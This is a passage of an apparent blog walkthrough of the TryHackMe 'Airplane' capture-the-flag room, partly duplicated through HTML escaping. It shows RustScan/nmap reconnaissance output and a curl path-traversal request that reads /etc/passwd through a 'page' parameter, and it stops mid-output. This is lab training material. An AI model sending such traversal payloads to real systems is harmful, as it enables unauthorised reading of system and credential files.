style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;G&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;IE&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Y%DFI&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;N%T&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;40%CD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;S&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uptime guess: 33.107 days &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;since Tue May  &lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt; 11:01:50 2024&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Network Distance: &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TCP Sequence Prediction: Difficulty&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;258&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Good luck!&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;IP ID Sequence Generation: All zeros
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TRACEROUTE &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;using port 22/tcp&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HOP RTT       ADDRESS
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;   363.05 ms 10.11.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;   363.23 ms airplane.thm &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;10.10.74.193&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Of the ports that are open the one of most interest at this point in time is the Web Site that is hosted on Port 8000 and when we navigate to it we are presented with the following landing page.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>This walkthrough is related to the medium level box from Try Hack Me called <a href="https://tryhackme.com/r/room/airplane">Airplane</a>. Let’s get started.</p>
<p><img src="/assets/airplane.png" alt="page logo"></p>
<p>We deploy the machine and once it is launched we run RustScan to see what ports are open (some content has been removed for brevity)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ rustscan -a 10.10.74.193 -- -A -oA nmap-scan
</span></span><span style="display:flex;"><span>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
</span></span><span style="display:flex;"><span>| <span style="color:#f92672">{}</span>  <span style="color:#f92672">}</span>| <span style="color:#f92672">{</span> <span style="color:#f92672">}</span> |<span style="color:#f92672">{</span> <span style="color:#f92672">{</span>__ <span style="color:#f92672">{</span>_   _<span style="color:#f92672">}{</span> <span style="color:#f92672">{</span>__  /  ___<span style="color:#f92672">}</span> / <span style="color:#f92672">{}</span> <span style="color:#ae81ff">\ </span>|  <span style="color:#e6db74">`</span>| |
</span></span><span style="display:flex;"><span>| .-. <span style="color:#ae81ff">\|</span> <span style="color:#f92672">{</span>_<span style="color:#f92672">}</span> |.-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span> | |  .-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span><span style="color:#ae81ff">\ </span>    <span style="color:#f92672">}</span>/  /<span style="color:#ae81ff">\ </span> <span style="color:#ae81ff">\|</span> |<span style="color:#ae81ff">\ </span> |
</span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39; `-&#39;</span><span style="color:#e6db74">`</span>-----<span style="color:#e6db74">&#39;`----&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;  `----&#39;</span>  <span style="color:#e6db74">`</span>---<span style="color:#e6db74">&#39; `-&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;`-&#39;</span> <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">The Modern Day Port Scanner.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">________________________________________
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: http://discord.skerritt.blog         :
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: https://github.com/RustScan/RustScan :
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">You miss 100% of the ports you don&#39;</span>t scan. - RustScan
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Open 10.10.74.193:22
</span></span><span style="display:flex;"><span>Open 10.10.74.193:6048
</span></span><span style="display:flex;"><span>Open 10.10.74.193:8000
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Script<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>&gt;<span style="color:#f92672">]</span> Running script <span style="color:#e6db74">&#34;nmap -vvv -p {{port}} {{ip}} -A -oA nmap-scan&#34;</span> on ip 10.10.74.193
</span></span><span style="display:flex;"><span>Depending on the complexity of the script, results may take some time to appear.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-06-09 13:33 PST
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE  REASON         VERSION
</span></span><span style="display:flex;"><span>22/tcp   open  ssh      syn-ack ttl <span style="color:#ae81ff">63</span> OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">3072</span> b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuy7X5e34bStIhDkjJIcUT3kqFt9fHoI/q8AaCCH6HqgOz2HC5GdcDiBN8W6JMoRIIDJO/9FHiFE+MNtESwOP9J+S348GOhUIsVhDux7caJiyJQElrKxXJgxA7DNUvVJNBUchhgGhFv/qCNbUYF8+uaTYc0o/HtvgVw+t/bxS6EO+OlAOpyAjUP5XZjGTyc4n4uCc8mYW6aQHXZR0t5lMaKkNJzXl5+kHxxxnKci6+Ao8vrlKshgIq25NErSqoeTs/wgBcPMkr5r++emLH+rDwmjrTvwrHb2/bKKUenvnbf9AZXbcN52nGthVi95kP6HaDGijXULjrRt2GCul99OmNhEQxJNtLmUnxpxA9ZhBEzMYe3z5EeIbLuA+E9yFSrR6nq2pagC2/qvVMJSAzD749AbwjtbcL8MOf+7DCT+SATY9VxBqtKep/9PDolKi5+prGH6gzfjCkj5YaFS2CvJeGlF/B1XBzd1ccm43Lc4Ad/F4kvQWwkHmpL38kDy4eWCE<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLYVoN15q7ky/IIo3VNrL35GRCpppImVs7x+PPFRlqO+VcfQ8C+MR2zVEFS0wosQWQFXaCZiInQhWz9swfKN6J8<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIB0hj2IqNazZojgwv0jJr+ZnOF1RCzykZ7W3jKsuCb
</span></span><span style="display:flex;"><span>6048/tcp open  x11?     syn-ack ttl <span style="color:#ae81ff">63</span>
</span></span><span style="display:flex;"><span>8000/tcp open  http-alt syn-ack ttl <span style="color:#ae81ff">63</span> Werkzeug/3.0.2 Python/3.8.10
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET OPTIONS HEAD
</span></span><span style="display:flex;"><span>| fingerprint-strings:
</span></span><span style="display:flex;"><span>|   FourOhFourRequest:
</span></span><span style="display:flex;"><span>|     HTTP/1.1 <span style="color:#ae81ff">404</span> NOT FOUND
</span></span><span style="display:flex;"><span>|     Server: Werkzeug/3.0.2 Python/3.8.10
</span></span><span style="display:flex;"><span>|     Date: Sun, <span style="color:#ae81ff">09</span> Jun <span style="color:#ae81ff">2024</span> 05:33:19 GMT
</span></span><span style="display:flex;"><span>|     Content-Type: text/html; charset<span style="color:#f92672">=</span>utf-8
</span></span><span style="display:flex;"><span>|     Content-Length: <span style="color:#ae81ff">207</span>
</span></span><span style="display:flex;"><span>|     Connection: close
</span></span><span style="display:flex;"><span>|     &lt;!doctype html&gt;
</span></span><span style="display:flex;"><span>|     &lt;html lang<span style="color:#f92672">=</span>en&gt;
</span></span><span style="display:flex;"><span>|     &lt;title&gt;404 Not Found&lt;/title&gt;
</span></span><span style="display:flex;"><span>|     &lt;h1&gt;Not Found&lt;/h1&gt;
</span></span><span style="display:flex;"><span>|     &lt;p&gt;The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&lt;/p&gt;
</span></span><span style="display:flex;"><span>|   GetRequest:
</span></span><span style="display:flex;"><span>|     HTTP/1.1 <span style="color:#ae81ff">302</span> FOUND
</span></span><span style="display:flex;"><span>|     Server: Werkzeug/3.0.2 Python/3.8.10
</span></span><span style="display:flex;"><span>|     Date: Sun, <span style="color:#ae81ff">09</span> Jun <span style="color:#ae81ff">2024</span> 05:33:13 GMT
</span></span><span style="display:flex;"><span>|     Content-Type: text/html; charset<span style="color:#f92672">=</span>utf-8
</span></span><span style="display:flex;"><span>|     Content-Length: <span style="color:#ae81ff">269</span>
</span></span><span style="display:flex;"><span>|     Location: http://airplane.thm:8000/?page<span style="color:#f92672">=</span>index.html
</span></span><span style="display:flex;"><span>|     Connection: close
</span></span><span style="display:flex;"><span>|     &lt;!doctype html&gt;
</span></span><span style="display:flex;"><span>|     &lt;html lang<span style="color:#f92672">=</span>en&gt;
</span></span><span style="display:flex;"><span>|     &lt;title&gt;Redirecting...&lt;/title&gt;
</span></span><span style="display:flex;"><span>|     &lt;h1&gt;Redirecting...&lt;/h1&gt;
</span></span><span style="display:flex;"><span>|     &lt;p&gt;You should be redirected automatically to the target URL: &lt;a href<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://airplane.thm:8000/?page=index.html&#34;</span>&gt;http://airplane.thm:8000/?page<span style="color:#f92672">=</span>index.html&lt;/a&gt;. If not, click the link.
</span></span><span style="display:flex;"><span>|   Socks5:
</span></span><span style="display:flex;"><span>|     &lt;!DOCTYPE HTML PUBLIC <span style="color:#e6db74">&#34;-//W3C//DTD HTML 4.01//EN&#34;</span>
</span></span><span style="display:flex;"><span>|     <span style="color:#e6db74">&#34;http://www.w3.org/TR/html4/strict.dtd&#34;</span>&gt;
</span></span><span style="display:flex;"><span>|     &lt;html&gt;
</span></span><span style="display:flex;"><span>|     &lt;head&gt;
</span></span><span style="display:flex;"><span>|     &lt;meta http-equiv<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Content-Type&#34;</span> content<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/html;charset=utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>|     &lt;title&gt;Error response&lt;/title&gt;
</span></span><span style="display:flex;"><span>|     &lt;/head&gt;
</span></span><span style="display:flex;"><span>|     &lt;body&gt;
</span></span><span style="display:flex;"><span>|     &lt;h1&gt;Error response&lt;/h1&gt;
</span></span><span style="display:flex;"><span>|     &lt;p&gt;Error code: 400&lt;/p&gt;
</span></span><span style="display:flex;"><span>|     &lt;p&gt;Message: Bad request syntax <span style="color:#f92672">(</span><span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">|     &#39;</span><span style="color:#f92672">)</span>.&lt;/p&gt;
</span></span><span style="display:flex;"><span>|     &lt;p&gt;Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.&lt;/p&gt;
</span></span><span style="display:flex;"><span>|     &lt;/body&gt;
</span></span><span style="display:flex;"><span>|_    &lt;/html&gt;
</span></span><span style="display:flex;"><span>| http-title: About Airplanes
</span></span><span style="display:flex;"><span>|_Requested resource was http://airplane.thm:8000/?page<span style="color:#f92672">=</span>index.html
</span></span><span style="display:flex;"><span>|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
</span></span><span style="display:flex;"><span>SF-Port8000-TCP:V<span style="color:#f92672">=</span>7.94SVN%I<span style="color:#f92672">=</span>7%D<span style="color:#f92672">=</span>6/9%Time<span style="color:#f92672">=</span>66653E9A%P<span style="color:#f92672">=</span>x86_64-pc-linux-gnu%r<span style="color:#f92672">(</span>
</span></span><span style="display:flex;"><span>SF:GetRequest,1F3,<span style="color:#e6db74">&#34;HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:2\x20Python/3\.8\.10\r\nDate:\x20Sun,\x2009\x20Jun\x202024\x2005:33:13\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:h:\x20269\r\nLocation:\x20http://airplane\.thm:8000/\?page=index\.html\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:r\nConnection:\x20close\r\n\r\n&lt;!doctype\x20html&gt;\n&lt;html\x20lang=en&gt;\n&lt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:title&gt;Redirecting\.\.\.&lt;/title&gt;\n&lt;h1&gt;Redirecting\.\.\.&lt;/h1&gt;\n&lt;p&gt;You\x20
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20U
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:RL:\x20&lt;a\x20href=\&#34;http://airplane\.thm:8000/\?page=index\.html\&#34;&gt;http
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:://airplane\.thm:8000/\?page=index\.html&lt;/a&gt;\.\x20If\x20not,\x20click\x
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:20the\x20link\.\n&#34;</span><span style="color:#f92672">)</span>%r<span style="color:#f92672">(</span>FourOhFourRequest,184,<span style="color:#e6db74">&#34;HTTP/1\.1\x20404\x20NOT\x2
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:0FOUND\r\nServer:\x20Werkzeug/3\.0\.2\x20Python/3\.8\.10\r\nDate:\x20Su
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:n,\x2009\x20Jun\x202024\x2005:33:19\x20GMT\r\nContent-Type:\x20text/htm
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:l;\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:\n\r\n&lt;!doctype\x20html&gt;\n&lt;html\x20lang=en&gt;\n&lt;title&gt;404\x20Not\x20Found
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:&lt;/title&gt;\n&lt;h1&gt;Not\x20Found&lt;/h1&gt;\n&lt;p&gt;The\x20requested\x20URL\x20was\x20n
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:ot\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:URL\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x2
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:0again\.&lt;/p&gt;\n&#34;</span><span style="color:#f92672">)</span>%r<span style="color:#f92672">(</span>Socks5,213,<span style="color:#e6db74">&#34;&lt;!DOCTYPE\x20HTML\x20PUBLIC\x20\&#34;-//W3C/
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:/DTD\x20HTML\x204\.01//EN\&#34;\n\x20\x20\x20\x20\x20\x20\x20\x20\&#34;http://w
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:ww\.w3\.org/TR/html4/strict\.dtd\&#34;&gt;\n&lt;html&gt;\n\x20\x20\x20\x20&lt;head&gt;\n\x
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:20\x20\x20\x20\x20\x20\x20\x20&lt;meta\x20http-equiv=\&#34;Content-Type\&#34;\x20c
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:ontent=\&#34;text/html;charset=utf-8\&#34;&gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&lt;t
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:itle&gt;Error\x20response&lt;/title&gt;\n\x20\x20\x20\x20&lt;/head&gt;\n\x20\x20\x20\x
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:20&lt;body&gt;\n\x20\x20\x20\x20\x20\x20\x20\x20&lt;h1&gt;Error\x20response&lt;/h1&gt;\n\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:x20\x20\x20\x20\x20\x20\x20\x20&lt;p&gt;Error\x20code:\x20400&lt;/p&gt;\n\x20\x20\x
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:20\x20\x20\x20\x20\x20&lt;p&gt;Message:\x20Bad\x20request\x20syntax\x20\(&#39;\\x
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03&#39;\)\.&lt;/p&gt;\n\x20\x20\x20\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:x20\x20\x20\x20\x20&lt;p&gt;Error\x20code\x20explanation:\x20HTTPStatus\.BAD_
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SF:\.&lt;/p&gt;\n\x20\x20\x20\x20&lt;/body&gt;\n&lt;/html&gt;\n&#34;</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>Warning: OSScan results may be unreliable because we could not find at least <span style="color:#ae81ff">1</span> open and <span style="color:#ae81ff">1</span> closed port
</span></span><span style="display:flex;"><span>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
</span></span><span style="display:flex;"><span>Aggressive OS guesses: Linux 3.1 <span style="color:#f92672">(</span>95%<span style="color:#f92672">)</span>, Linux 3.2 <span style="color:#f92672">(</span>95%<span style="color:#f92672">)</span>, AXIS 210A or <span style="color:#ae81ff">211</span> Network Camera <span style="color:#f92672">(</span>Linux 2.6.17<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>95%<span style="color:#f92672">)</span>, ASUS RT-N56U WAP <span style="color:#f92672">(</span>Linux 3.4<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Linux 3.16 <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Adtran 424RG FTTH gateway <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Linux 2.6.32 <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Linux 2.6.39 - 3.2 <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Linux 3.11 <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>, Linux 3.2 - 4.9 <span style="color:#f92672">(</span>93%<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>No exact OS matches <span style="color:#66d9ef">for</span> host <span style="color:#f92672">(</span>test conditions non-ideal<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>TCP/IP fingerprint:
</span></span><span style="display:flex;"><span>SCAN<span style="color:#f92672">(</span>V<span style="color:#f92672">=</span>7.94SVN%E<span style="color:#f92672">=</span>4%D<span style="color:#f92672">=</span>6/9%OT<span style="color:#f92672">=</span>22%CT<span style="color:#f92672">=</span>%CU<span style="color:#f92672">=</span>38256%PV<span style="color:#f92672">=</span>Y%DS<span style="color:#f92672">=</span>2%DC<span style="color:#f92672">=</span>T%G<span style="color:#f92672">=</span>N%TM<span style="color:#f92672">=</span>66653F51%P<span style="color:#f92672">=</span>x86_64-pc-linux-gnu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>SEQ<span style="color:#f92672">(</span>SP<span style="color:#f92672">=</span>102%GCD<span style="color:#f92672">=</span>1%ISR<span style="color:#f92672">=</span>102%TI<span style="color:#f92672">=</span>Z%CI<span style="color:#f92672">=</span>Z%II<span style="color:#f92672">=</span>I%TS<span style="color:#f92672">=</span>A<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>OPS<span style="color:#f92672">(</span>O1<span style="color:#f92672">=</span>M508ST11NW7%O2<span style="color:#f92672">=</span>M508ST11NW7%O3<span style="color:#f92672">=</span>M508NNT11NW7%O4<span style="color:#f92672">=</span>M508ST11NW7%O5<span style="color:#f92672">=</span>M508ST11NW7%O6<span style="color:#f92672">=</span>M508ST11<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>WIN<span style="color:#f92672">(</span>W1<span style="color:#f92672">=</span>F4B3%W2<span style="color:#f92672">=</span>F4B3%W3<span style="color:#f92672">=</span>F4B3%W4<span style="color:#f92672">=</span>F4B3%W5<span style="color:#f92672">=</span>F4B3%W6<span style="color:#f92672">=</span>F4B3<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ECN<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>F507%O<span style="color:#f92672">=</span>M508NNSNW7%CC<span style="color:#f92672">=</span>Y%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T1<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%S<span style="color:#f92672">=</span>O%A<span style="color:#f92672">=</span>S+%F<span style="color:#f92672">=</span>AS%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T2<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>N<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>T3<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>N<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>T4<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>0%S<span style="color:#f92672">=</span>A%A<span style="color:#f92672">=</span>Z%F<span style="color:#f92672">=</span>R%O<span style="color:#f92672">=</span>%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T5<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>0%S<span style="color:#f92672">=</span>Z%A<span style="color:#f92672">=</span>S+%F<span style="color:#f92672">=</span>AR%O<span style="color:#f92672">=</span>%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T6<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>0%S<span style="color:#f92672">=</span>A%A<span style="color:#f92672">=</span>Z%F<span style="color:#f92672">=</span>R%O<span style="color:#f92672">=</span>%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>T7<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>Y%T<span style="color:#f92672">=</span>40%W<span style="color:#f92672">=</span>0%S<span style="color:#f92672">=</span>Z%A<span style="color:#f92672">=</span>S+%F<span style="color:#f92672">=</span>AR%O<span style="color:#f92672">=</span>%RD<span style="color:#f92672">=</span>0%Q<span style="color:#f92672">=)</span>
</span></span><span style="display:flex;"><span>U1<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DF<span style="color:#f92672">=</span>N%T<span style="color:#f92672">=</span>40%IPL<span style="color:#f92672">=</span>164%UN<span style="color:#f92672">=</span>0%RIPL<span style="color:#f92672">=</span>G%RID<span style="color:#f92672">=</span>G%RIPCK<span style="color:#f92672">=</span>G%RUCK<span style="color:#f92672">=</span>G%RUD<span style="color:#f92672">=</span>G<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>IE<span style="color:#f92672">(</span>R<span style="color:#f92672">=</span>Y%DFI<span style="color:#f92672">=</span>N%T<span style="color:#f92672">=</span>40%CD<span style="color:#f92672">=</span>S<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Uptime guess: 33.107 days <span style="color:#f92672">(</span>since Tue May  <span style="color:#ae81ff">7</span> 11:01:50 2024<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Network Distance: <span style="color:#ae81ff">2</span> hops
</span></span><span style="display:flex;"><span>TCP Sequence Prediction: Difficulty<span style="color:#f92672">=</span><span style="color:#ae81ff">258</span> <span style="color:#f92672">(</span>Good luck!<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>IP ID Sequence Generation: All zeros
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>TRACEROUTE <span style="color:#f92672">(</span>using port 22/tcp<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>HOP RTT       ADDRESS
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span>   363.05 ms 10.11.0.1
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span>   363.23 ms airplane.thm <span style="color:#f92672">(</span>10.10.74.193<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Of the ports that are open the one of most interest at this point in time is the Web Site that is hosted on Port 8000 and when we navigate to it we are presented with the following landing page.</p>
<p><img src="/assets/airplane_web.png" alt="Landing Page"></p>
<p>What stands out is the parameter in the URL so we switch to our terminal to use <code>curl</code> to see if there is an LFI that we can exploit.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s <span style="color:#e6db74">&#34;http://airplane.thm:8000?page=../../../../../../etc/passwd&#34;</span>
</span></span><span style="display:flex;"><span>root:x:0:0:root:/root:/bin/bash
</span></span><span style="display:flex;"><span>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>bin:x:2:2:bin:/bin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>sys:x:3:3:sys:/dev:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>sync:x:4:65534:sync:/bin:/bin/sync
</span></span><span style="display:flex;"><span>games:x:5:60:games:/usr/games:/usr/sbin/nologin
